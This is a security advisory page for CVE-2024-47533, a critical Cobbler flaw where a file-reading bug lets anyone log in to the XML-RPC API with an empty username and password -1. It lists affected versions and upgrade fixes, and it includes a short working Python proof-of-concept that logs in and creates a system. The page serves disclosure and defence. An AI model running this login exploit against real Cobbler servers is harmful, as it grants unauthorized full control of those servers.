cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
CVE-2024-47533 · GHSA-m26c-fcgh-cp6h · PYSEC-2026-316 · published 18 Nov 2024
How serious is it
- Severity: critical, CVSS score 9.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2024-47533?
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Who is affected
cobbler(PyPI) >= 3.3.0, < 3.3.7cobbler(PyPI) >= 3.0.0, < 3.2.3
How to check
- Run
pip show cobblerin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On >= 3.3.0, < 3.3.7: Upgrade
cobblerto 3.3.7 or later, commit the lockfile and redeploy. - On >= 3.0.0, < 3.2.3: Upgrade
cobblerto 3.2.3 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
### Details
utils.py get_shared_secret:
```
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
```
Always returns `-1` because of the following exception:
```
binary mode doesn't take an encoding argument
```
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
### PoC
```
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
```
### Impact
This gives anyone with network access to a cobbler server full control of the server.
Check your whole app
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References
- github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
- nvd.nist.gov/vuln/detail/CVE-2024-47533
- github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
- github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
- github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml
- pypi.org/project/cobbler
- github.com/advisories/GHSA-m26c-fcgh-cp6h
- github.com/cobbler/cobbler
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON